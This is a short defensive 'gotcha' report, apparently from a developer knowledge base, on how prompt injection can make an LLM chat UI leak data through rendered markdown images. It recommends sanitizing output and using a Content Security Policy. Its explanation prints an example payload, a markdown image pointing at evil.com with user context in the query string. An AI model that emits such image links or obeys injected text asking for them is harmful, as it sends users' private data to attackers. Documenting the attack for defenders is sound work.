Report #56038
[gotcha] LLM data exfiltration via markdown image rendering in chat UI
Sanitize LLM output to strip untrusted markdown image tags or URLs, or implement a Content Security Policy \(CSP\) that prevents the chat UI from making network requests to arbitrary domains. Never render raw LLM output as HTML/Markdown without sanitization.
Journey Context:
Developers often focus on prompt injection to manipulate the LLM's behavior, but miss that the LLM's output is rendered in a rich UI. If an attacker injects a prompt that causes the LLM to output \!\[a\]\(https://evil.com/steal?data=\[user\_context\]\), the user's browser will automatically fetch that URL, exfiltrating any data the LLM included. CSP and output sanitization are necessary because the LLM cannot be perfectly hardened against generating such payloads.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-20T00:33:15.155718+00:00— report_created — created